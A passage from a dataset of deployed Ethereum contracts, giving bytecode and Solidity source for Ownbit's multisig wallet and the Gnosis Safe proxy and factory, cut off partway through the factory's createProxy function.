608060405260006003553480156200001657600080fd5b5060405162001a4e38038062001a4e83398181016040528101906200003c9190620004cb565b81518160098211158015620000515750818111155b80156200005f575060018110155b6200006957600080fd5b60005b8451811015620001c9576000808683815181106200008f576200008e62000531565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680620001345750600073ffffffffffffffffffffffffffffffffffffffff1685828151811062000114576200011362000531565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16145b156200013f57600080fd5b60016000808784815181106200015a576200015962000531565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080620001c0906200058f565b9150506200006c565b508360019080519060200190620001e2929190620001f4565b508260028190555050505050620005dc565b82805482825590600052602060002090810192821562000270579160200282015b828111156200026f5782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509160200191906001019062000215565b5b5090506200027f919062000283565b5090565b5b808211156200029e57600081600090555060010162000284565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200030682620002bb565b810181811067ffffffffffffffff82111715620003285762000327620002cc565b5b80604052505050565b60006200033d620002a2565b90506200034b8282620002fb565b919050565b600067ffffffffffffffff8211156200036e576200036d620002cc565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620003b18262000384565b9050919050565b620003c381620003a4565b8114620003cf57600080fd5b50565b600081519050620003e381620003b8565b92915050565b600062000400620003fa8462000350565b62000331565b905080838252602082019050602084028301858111156200042657620004256200037f565b5b835b818110156200045357806200043e8882620003d2565b84526020840193505060208101905062000428565b5050509392505050565b600082601f830112620004755762000474620002b6565b5b815162000487848260208601620003e9565b91505092915050565b6000819050919050565b620004a58162000490565b8114620004b157600080fd5b50565b600081519050620004c5816200049a565b92915050565b60008060408385031215620004e557620004e4620002ac565b5b600083015167ffffffffffffffff811115620005065762000505620002b1565b5b62000514858286016200045d565b92505060206200052785828601620004b4565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200059c8262000490565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203620005d157620005d062000560565b5b600182019050919050565b61146280620005ec6000396000f3fe6080604052600436106100745760003560e01c8063a0e67e2b1161004e578063a0e67e2b1461014b578063c6a2a9f114610176578063d74f8edd146101a1578063f23a6e61146101cc57610075565b80631398a5f6146100ba578063150b7a02146100e55780637c99df4a1461012257610075565b5b60003411156100b8577f5af8184bef8e4b45eb9f6ed7734d04da38ced226495548f46e0c8ff8d7d9a52433346040516100af929190610915565b60405180910390a15b005b3480156100c657600080fd5b506100cf610209565b6040516100dc919061093e565b60405180910390f35b3480156100f157600080fd5b5061010c60048036038101906101079190610a2a565b610213565b6040516101199190610aed565b60405180910390f35b34801561012e57600080fd5b5061014960048036038101906101449190610d89565b610241565b005b34801561015757600080fd5b50610160610412565b60405161016d9190610f4a565b60405180910390f35b34801561018257600080fd5b5061018b6104a0565b604051610198919061093e565b60405180910390f35b3480156101ad57600080fd5b506101b66104aa565b6040516101c3919061093e565b60405180910390f35b3480156101d857600080fd5b506101f360048036038101906101ee9190610f6c565b6104af565b6040516102009190610aed565b60405180910390f35b6000600254905090565b60007f150b7a023d4804d13e8c85fb27262cb750cf6ba9f9dd3bb30d90f482ceeb4b1f905095945050505050565b3073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036102af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a690611063565b60405180910390fd5b610301878787878787878080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506104de565b610340576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610337906110cf565b60405180910390fd5b600160035461034f919061111e565b6003819055506000808873ffffffffffffffffffffffffffffffffffffffff16888585604051610380929190611191565b60006040518083038185875af1925050503d80600081146103bd576040519150601f19603f3d011682016040523d82523d6000602084013e6103c2565b606091505b50915091508115610407577fd3eec71143c45f28685b24760ea218d476917aa0ac0392a55e5304cef40bd2b689896040516103fe929190610915565b60405180910390a15b505050505050505050565b6060600180548060200260200160405190810160405280929190818152602001828054801561049657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161044c575b5050505050905090565b6000600354905090565b600981565b60007ff23a6e612e1ff4830e658fe43f4e3cb4a5f8170bd5d9e69fb5d7a7fa9e4fdf9790509695505050505050565b600083518551146104ee57600080fd5b82518451146104fc57600080fd5b6001805490508551111561050f57600080fd5b6002548551101561051f57600080fd5b600061052c8888856106b4565b90506000865167ffffffffffffffff81111561054b5761054a610b19565b5b6040519080825280602002602001820160405280156105795781602001602082028036833780820191505090505b50905060005b875181101561069157600183601b8a84815181106105a05761059f6111aa565b5b60200260200101516105b291906111d9565b8984815181106105c5576105c46111aa565b5b60200260200101518985815181106105e0576105df6111aa565b5b602002602001015160405160008152602001604052604051610605949392919061122c565b6020604051602081039080840390855afa158015610627573d6000803e3d6000fd5b50505060206040510351828281518110610644576106436111aa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050808061068990611271565b91505061057f565b5061069b81610732565b6106a457600080fd5b6001925050509695505050505050565b6000806106c285858561087a565b905060006040518060400160405280601c81526020017f19457468657265756d205369676e6564204d6573736167653a0a33320000000081525090508082604051602001610711929190611340565b60405160208183030381529060405280519060200120925050509392505050565b60006001805490508251111561074b5760009050610875565b60005b825181101561086f5760008084838151811061076d5761076c6111aa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166107cb576000915050610875565b60005b8181101561085b578381815181106107e9576107e86111aa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1684838151811061081a576108196111aa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff160361084857600092505050610875565b808061085390611271565b9150506107ce565b50808061086790611271565b91505061074e565b50600190505b919050565b600080308585856003546040516020016108989594939291906113d1565b604051602081830303815290604052805190602001209050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006108e6826108bb565b9050919050565b6108f6816108db565b82525050565b6000819050919050565b61090f816108fc565b82525050565b600060408201905061092a60008301856108ed565b6109376020830184610906565b9392505050565b60006020820190506109536000830184610906565b92915050565b6000604051905090565b600080fd5b600080fd5b610976816108db565b811461098157600080fd5b50565b6000813590506109938161096d565b92915050565b6109a2816108fc565b81146109ad57600080fd5b50565b6000813590506109bf81610999565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126109ea576109e96109c5565b5b8235905067ffffffffffffffff811115610a0757610a066109ca565b5b602083019150836001820283011115610a2357610a226109cf565b5b9250929050565b600080600080600060808688031215610a4657610a45610963565b5b6000610a5488828901610984565b9550506020610a6588828901610984565b9450506040610a76888289016109b0565b935050606086013567ffffffffffffffff811115610a9757610a96610968565b5b610aa3888289016109d4565b92509250509295509295909350565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b610ae781610ab2565b82525050565b6000602082019050610b026000830184610ade565b92915050565b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610b5182610b08565b810181811067ffffffffffffffff82111715610b7057610b6f610b19565b5b80604052505050565b6000610b83610959565b9050610b8f8282610b48565b919050565b600067ffffffffffffffff821115610baf57610bae610b19565b5b602082029050602081019050919050565b600060ff82169050919050565b610bd681610bc0565b8114610be157600080fd5b50565b600081359050610bf381610bcd565b92915050565b6000610c0c610c0784610b94565b610b79565b90508083825260208201905060208402830185811115610c2f57610c2e6109cf565b5b835b81811015610c585780610c448882610be4565b845260208401935050602081019050610c31565b5050509392505050565b600082601f830112610c7757610c766109c5565b5b8135610c87848260208601610bf9565b91505092915050565b600067ffffffffffffffff821115610cab57610caa610b19565b5b602082029050602081019050919050565b6000819050919050565b610ccf81610cbc565b8114610cda57600080fd5b50565b600081359050610cec81610cc6565b92915050565b6000610d05610d0084610c90565b610b79565b90508083825260208201905060208402830185811115610d2857610d276109cf565b5b835b81811015610d515780610d3d8882610cdd565b845260208401935050602081019050610d2a565b5050509392505050565b600082601f830112610d7057610d6f6109c5565b5b8135610d80848260208601610cf2565b91505092915050565b600080600080600080600060c0888a031215610da857610da7610963565b5b6000610db68a828b01610984565b9750506020610dc78a828b016109b0565b965050604088013567ffffffffffffffff811115610de857610de7610968565b5b610df48a828b01610c62565b955050606088013567ffffffffffffffff811115610e1557610e14610968565b5b610e218a828b01610d5b565b945050608088013567ffffffffffffffff811115610e4257610e41610968565b5b610e4e8a828b01610d5b565b93505060a088013567ffffffffffffffff811115610e6f57610e6e610968565b5b610e7b8a828b016109d4565b925092505092959891949750929550565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b610ec1816108db565b82525050565b6000610ed38383610eb8565b60208301905092915050565b6000602082019050919050565b6000610ef782610e8c565b610f018185610e97565b9350610f0c83610ea8565b8060005b83811015610f3d578151610f248882610ec7565b9750610f2f83610edf565b925050600181019050610f10565b5085935050505092915050565b60006020820190508181036000830152610f648184610eec565b905092915050565b60008060008060008060a08789031215610f8957610f88610963565b5b6000610f9789828a01610984565b9650506020610fa889828a01610984565b9550506040610fb989828a016109b0565b9450506060610fca89828a016109b0565b935050608087013567ffffffffffffffff811115610feb57610fea610968565b5b610ff789828a016109d4565b92509250509295509295509295565b600082825260208201905092915050565b7f4e6f7420616c6c6f772073656e64696e6720746f20796f757273656c66000000600082015250565b600061104d601d83611006565b915061105882611017565b602082019050919050565b6000602082019050818103600083015261107c81611040565b9050919050565b7f696e76616c6964207369676e6174757265730000000000000000000000000000600082015250565b60006110b9601283611006565b91506110c482611083565b602082019050919050565b600060208201905081810360008301526110e8816110ac565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611129826108fc565b9150611134836108fc565b925082820190508082111561114c5761114b6110ef565b5b92915050565b600081905092915050565b82818337600083830152505050565b60006111788385611152565b935061118583858461115d565b82840190509392505050565b600061119e82848661116c565b91508190509392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006111e482610bc0565b91506111ef83610bc0565b9250828201905060ff811115611208576112076110ef565b5b92915050565b61121781610cbc565b82525050565b61122681610bc0565b82525050565b6000608082019050611241600083018761120e565b61124e602083018661121d565b61125b604083018561120e565b611268606083018461120e565b95945050505050565b600061127c826108fc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036112ae576112ad6110ef565b5b600182019050919050565b600081519050919050565b60005b838110156112e25780820151818401526020810190506112c7565b60008484015250505050565b60006112f9826112b9565b6113038185611152565b93506113138185602086016112c4565b80840191505092915050565b6000819050919050565b61133a61133582610cbc565b61131f565b82525050565b600061134c82856112ee565b91506113588284611329565b6020820191508190509392505050565b60008160601b9050919050565b600061138082611368565b9050919050565b600061139282611375565b9050919050565b6113aa6113a5826108db565b611387565b82525050565b6000819050919050565b6113cb6113c6826108fc565b6113b0565b82525050565b60006113dd8288611399565b6014820191506113ed8287611399565b6014820191506113fd82866113ba565b60208201915061140d82856112ee565b915061141982846113ba565b602082019150819050969550505050505056fea26469706673582212207814c6826ba0a1cd65cbabb7fec975a43710687fd922ba4dea534f426fad55da64736f6c63430008110033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000004000000000000000000000000ff5f1fd777713a6ba129024afa91d477bab99b530000000000000000000000007bd4d089f710c99fb9752a4d646c8242a17cdeb30000000000000000000000008062b5caa02c2083b833e56770547142a68c4c8b0000000000000000000000002179f762d550f8781f92c865e28e5f91b429920e
|
6080604052600436106100745760003560e01c8063a0e67e2b1161004e578063a0e67e2b1461014b578063c6a2a9f114610176578063d74f8edd146101a1578063f23a6e61146101cc57610075565b80631398a5f6146100ba578063150b7a02146100e55780637c99df4a1461012257610075565b5b60003411156100b8577f5af8184bef8e4b45eb9f6ed7734d04da38ced226495548f46e0c8ff8d7d9a52433346040516100af929190610915565b60405180910390a15b005b3480156100c657600080fd5b506100cf610209565b6040516100dc919061093e565b60405180910390f35b3480156100f157600080fd5b5061010c60048036038101906101079190610a2a565b610213565b6040516101199190610aed565b60405180910390f35b34801561012e57600080fd5b5061014960048036038101906101449190610d89565b610241565b005b34801561015757600080fd5b50610160610412565b60405161016d9190610f4a565b60405180910390f35b34801561018257600080fd5b5061018b6104a0565b604051610198919061093e565b60405180910390f35b3480156101ad57600080fd5b506101b66104aa565b6040516101c3919061093e565b60405180910390f35b3480156101d857600080fd5b506101f360048036038101906101ee9190610f6c565b6104af565b6040516102009190610aed565b60405180910390f35b6000600254905090565b60007f150b7a023d4804d13e8c85fb27262cb750cf6ba9f9dd3bb30d90f482ceeb4b1f905095945050505050565b3073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036102af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a690611063565b60405180910390fd5b610301878787878787878080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506104de565b610340576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610337906110cf565b60405180910390fd5b600160035461034f919061111e565b6003819055506000808873ffffffffffffffffffffffffffffffffffffffff16888585604051610380929190611191565b60006040518083038185875af1925050503d80600081146103bd576040519150601f19603f3d011682016040523d82523d6000602084013e6103c2565b606091505b50915091508115610407577fd3eec71143c45f28685b24760ea218d476917aa0ac0392a55e5304cef40bd2b689896040516103fe929190610915565b60405180910390a15b505050505050505050565b6060600180548060200260200160405190810160405280929190818152602001828054801561049657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161044c575b5050505050905090565b6000600354905090565b600981565b60007ff23a6e612e1ff4830e658fe43f4e3cb4a5f8170bd5d9e69fb5d7a7fa9e4fdf9790509695505050505050565b600083518551146104ee57600080fd5b82518451146104fc57600080fd5b6001805490508551111561050f57600080fd5b6002548551101561051f57600080fd5b600061052c8888856106b4565b90506000865167ffffffffffffffff81111561054b5761054a610b19565b5b6040519080825280602002602001820160405280156105795781602001602082028036833780820191505090505b50905060005b875181101561069157600183601b8a84815181106105a05761059f6111aa565b5b60200260200101516105b291906111d9565b8984815181106105c5576105c46111aa565b5b60200260200101518985815181106105e0576105df6111aa565b5b602002602001015160405160008152602001604052604051610605949392919061122c565b6020604051602081039080840390855afa158015610627573d6000803e3d6000fd5b50505060206040510351828281518110610644576106436111aa565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050808061068990611271565b91505061057f565b5061069b81610732565b6106a457600080fd5b6001925050509695505050505050565b6000806106c285858561087a565b905060006040518060400160405280601c81526020017f19457468657265756d205369676e6564204d6573736167653a0a33320000000081525090508082604051602001610711929190611340565b60405160208183030381529060405280519060200120925050509392505050565b60006001805490508251111561074b5760009050610875565b60005b825181101561086f5760008084838151811061076d5761076c6111aa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166107cb576000915050610875565b60005b8181101561085b578381815181106107e9576107e86111aa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1684838151811061081a576108196111aa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff160361084857600092505050610875565b808061085390611271565b9150506107ce565b50808061086790611271565b91505061074e565b50600190505b919050565b600080308585856003546040516020016108989594939291906113d1565b604051602081830303815290604052805190602001209050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006108e6826108bb565b9050919050565b6108f6816108db565b82525050565b6000819050919050565b61090f816108fc565b82525050565b600060408201905061092a60008301856108ed565b6109376020830184610906565b9392505050565b60006020820190506109536000830184610906565b92915050565b6000604051905090565b600080fd5b600080fd5b610976816108db565b811461098157600080fd5b50565b6000813590506109938161096d565b92915050565b6109a2816108fc565b81146109ad57600080fd5b50565b6000813590506109bf81610999565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126109ea576109e96109c5565b5b8235905067ffffffffffffffff811115610a0757610a066109ca565b5b602083019150836001820283011115610a2357610a226109cf565b5b9250929050565b600080600080600060808688031215610a4657610a45610963565b5b6000610a5488828901610984565b9550506020610a6588828901610984565b9450506040610a76888289016109b0565b935050606086013567ffffffffffffffff811115610a9757610a96610968565b5b610aa3888289016109d4565b92509250509295509295909350565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b610ae781610ab2565b82525050565b6000602082019050610b026000830184610ade565b92915050565b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610b5182610b08565b810181811067ffffffffffffffff82111715610b7057610b6f610b19565b5b80604052505050565b6000610b83610959565b9050610b8f8282610b48565b919050565b600067ffffffffffffffff821115610baf57610bae610b19565b5b602082029050602081019050919050565b600060ff82169050919050565b610bd681610bc0565b8114610be157600080fd5b50565b600081359050610bf381610bcd565b92915050565b6000610c0c610c0784610b94565b610b79565b90508083825260208201905060208402830185811115610c2f57610c2e6109cf565b5b835b81811015610c585780610c448882610be4565b845260208401935050602081019050610c31565b5050509392505050565b600082601f830112610c7757610c766109c5565b5b8135610c87848260208601610bf9565b91505092915050565b600067ffffffffffffffff821115610cab57610caa610b19565b5b602082029050602081019050919050565b6000819050919050565b610ccf81610cbc565b8114610cda57600080fd5b50565b600081359050610cec81610cc6565b92915050565b6000610d05610d0084610c90565b610b79565b90508083825260208201905060208402830185811115610d2857610d276109cf565b5b835b81811015610d515780610d3d8882610cdd565b845260208401935050602081019050610d2a565b5050509392505050565b600082601f830112610d7057610d6f6109c5565b5b8135610d80848260208601610cf2565b91505092915050565b600080600080600080600060c0888a031215610da857610da7610963565b5b6000610db68a828b01610984565b9750506020610dc78a828b016109b0565b965050604088013567ffffffffffffffff811115610de857610de7610968565b5b610df48a828b01610c62565b955050606088013567ffffffffffffffff811115610e1557610e14610968565b5b610e218a828b01610d5b565b945050608088013567ffffffffffffffff811115610e4257610e41610968565b5b610e4e8a828b01610d5b565b93505060a088013567ffffffffffffffff811115610e6f57610e6e610968565b5b610e7b8a828b016109d4565b925092505092959891949750929550565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b610ec1816108db565b82525050565b6000610ed38383610eb8565b60208301905092915050565b6000602082019050919050565b6000610ef782610e8c565b610f018185610e97565b9350610f0c83610ea8565b8060005b83811015610f3d578151610f248882610ec7565b9750610f2f83610edf565b925050600181019050610f10565b5085935050505092915050565b60006020820190508181036000830152610f648184610eec565b905092915050565b60008060008060008060a08789031215610f8957610f88610963565b5b6000610f9789828a01610984565b9650506020610fa889828a01610984565b9550506040610fb989828a016109b0565b9450506060610fca89828a016109b0565b935050608087013567ffffffffffffffff811115610feb57610fea610968565b5b610ff789828a016109d4565b92509250509295509295509295565b600082825260208201905092915050565b7f4e6f7420616c6c6f772073656e64696e6720746f20796f757273656c66000000600082015250565b600061104d601d83611006565b915061105882611017565b602082019050919050565b6000602082019050818103600083015261107c81611040565b9050919050565b7f696e76616c6964207369676e6174757265730000000000000000000000000000600082015250565b60006110b9601283611006565b91506110c482611083565b602082019050919050565b600060208201905081810360008301526110e8816110ac565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611129826108fc565b9150611134836108fc565b925082820190508082111561114c5761114b6110ef565b5b92915050565b600081905092915050565b82818337600083830152505050565b60006111788385611152565b935061118583858461115d565b82840190509392505050565b600061119e82848661116c565b91508190509392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006111e482610bc0565b91506111ef83610bc0565b9250828201905060ff811115611208576112076110ef565b5b92915050565b61121781610cbc565b82525050565b61122681610bc0565b82525050565b6000608082019050611241600083018761120e565b61124e602083018661121d565b61125b604083018561120e565b611268606083018461120e565b95945050505050565b600061127c826108fc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036112ae576112ad6110ef565b5b600182019050919050565b600081519050919050565b60005b838110156112e25780820151818401526020810190506112c7565b60008484015250505050565b60006112f9826112b9565b6113038185611152565b93506113138185602086016112c4565b80840191505092915050565b6000819050919050565b61133a61133582610cbc565b61131f565b82525050565b600061134c82856112ee565b91506113588284611329565b6020820191508190509392505050565b60008160601b9050919050565b600061138082611368565b9050919050565b600061139282611375565b9050919050565b6113aa6113a5826108db565b611387565b82525050565b6000819050919050565b6113cb6113c6826108fc565b6113b0565b82525050565b60006113dd8288611399565b6014820191506113ed8287611399565b6014820191506113fd82866113ba565b60208201915061140d82856112ee565b915061141982846113ba565b602082019150819050969550505050505056fea26469706673582212207814c6826ba0a1cd65cbabb7fec975a43710687fd922ba4dea534f426fad55da64736f6c63430008110033
|
pragma solidity >=0.8.0 <0.9.0;
// This is the ETH/ERC20/NFT multisig contract for Ownbit.
//
// For 2-of-3 multisig, to authorize a spend, two signtures must be provided by 2 of the 3 owners.
// To generate the message to be signed, provide the destination address and
// spend amount (in wei) to the generateMessageToSign method.
// The signatures must be provided as the (v, r, s) hex-encoded coordinates.
// The S coordinate must be 0x00 or 0x01 corresponding to 0x1b and 0x1c, respectively.
//
// WARNING: The generated message is only valid until the next spend is executed.
// after that, a new message will need to be calculated.
//
//
// INFO: This contract is ERC20/ERC721/ERC1155 compatible.
// This contract can both receive ETH, ERC20 and NFT (ERC721/ERC1155) tokens.
// Last update time: 2022-09-25.
// copyright@ownbit.io
contract OwnbitMultiSig {
uint constant public MAX_OWNER_COUNT = 9;
// The N addresses which control the funds in this contract. The
// owners of M of these addresses will need to both sign a message
// allowing the funds in this contract to be spent.
mapping(address => bool) private isOwner;
address[] private owners;
uint private required;
// The contract nonce is not accessible to the contract so we
// implement a nonce-like variable for replay protection.
uint256 private spendNonce = 0;
// An event sent when funds are received.
event Funded(address from, uint value);
// An event sent when a spend is triggered to the given address.
event Spent(address to, uint value);
modifier validRequirement(uint ownerCount, uint _required) {
require (ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required >= 1);
_;
}
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] memory _owners, uint _required) validRequirement(_owners.length, _required) {
for (uint i = 0; i < _owners.length; i++) {
//onwer should be distinct, and non-zero
if (isOwner[_owners[i]] || _owners[i] == address(0x0)) {
revert();
}
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
// The fallback function for this contract.
fallback() external payable {
if (msg.value > 0) {
emit Funded(msg.sender, msg.value);
}
}
// @dev Returns list of owners.
// @return List of owner addresses.
function getOwners() public view returns (address[] memory) {
return owners;
}
function getSpendNonce() public view returns (uint256) {
return spendNonce;
}
function getRequired() public view returns (uint) {
return required;
}
// Generates the message to sign given the output destination address and amount.
// includes this contract's address and a nonce for replay protection.
// One option to independently verify: https://leventozturk.com/engineering/sha3/ and select keccak
function generateMessageToSign(address destination, uint256 value, bytes memory data) private view returns (bytes32) {
//the sequence must match generateMultiSigV3 in JS
bytes32 message = keccak256(abi.encodePacked(address(this), destination, value, data, spendNonce));
return message;
}
function _messageToRecover(address destination, uint256 value, bytes memory data) private view returns (bytes32) {
bytes32 hashedUnsignedMessage = generateMessageToSign(destination, value, data);
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
return keccak256(abi.encodePacked(prefix, hashedUnsignedMessage));
}
//destination can be a normal address or a contract address, such as ERC20 contract address.
//value is the wei transferred to the destination.
//data for transfer ether: 0x
//data for transfer erc20 example: 0xa9059cbb000000000000000000000000ac6342a7efb995d63cc91db49f6023e95873d25000000000000000000000000000000000000000000000000000000000000003e8
//data for transfer erc721 example: 0x42842e0e00000000000000000000000097b65ad59c8c96f2dd786751e6279a1a6d34a4810000000000000000000000006cb33e7179860d24635c66850f1f6a5d4f8eee6d0000000000000000000000000000000000000000000000000000000000042134
//data can contain any data to be executed.
function spend(address destination, uint256 value, uint8[] memory vs, bytes32[] memory rs, bytes32[] memory ss, bytes calldata data) external {
require(destination != address(this), "Not allow sending to yourself");
require(_validSignature(destination, value, vs, rs, ss, data), "invalid signatures");
spendNonce = spendNonce + 1;
//transfer tokens from this contract to the destination address
(bool sent, bytes memory _ret) = destination.call{value: value}(data);
if (sent) {
emit Spent(destination, value);
}
}
// Confirm that the signature triplets (v1, r1, s1) (v2, r2, s2) ...
// authorize a spend of this contract's funds to the given destination address.
function _validSignature(address destination, uint256 value, uint8[] memory vs, bytes32[] memory rs, bytes32[] memory ss, bytes memory data) private view returns (bool) {
require(vs.length == rs.length);
require(rs.length == ss.length);
require(vs.length <= owners.length);
require(vs.length >= required);
bytes32 message = _messageToRecover(destination, value, data);
address[] memory addrs = new address[](vs.length);
for (uint i = 0; i < vs.length; i++) {
//recover the address associated with the public key from elliptic curve signature or return zero on error
addrs[i] = ecrecover(message, vs[i]+27, rs[i], ss[i]);
}
require(_distinctOwners(addrs));
return true;
}
// Confirm the addresses as distinct owners of this contract.
function _distinctOwners(address[] memory addrs) private view returns (bool) {
if (addrs.length > owners.length) {
return false;
}
for (uint i = 0; i < addrs.length; i++) {
if (!isOwner[addrs[i]]) {
return false;
}
//address should be distinct
for (uint j = 0; j < i; j++) {
if (addrs[i] == addrs[j]) {
return false;
}
}
}
return true;
}
//support ERC721 safeTransferFrom
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) external returns(bytes4) {
return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
}
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4) {
return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
}
}
|
1 | 19,502,321 |
d710e3aab4afe0b4e1cd6c5b316208bcd0d20b8b03cc0e3a8129b4be7e144ae1
|
62478660827b0d529ef4d62672e928c97268a6af82123186866e823771eb9325
|
e612d51198f258882723ba0275a88180e97babc4
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
9bb2160e8f7de556d1124d435b8419e0e71c870d
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
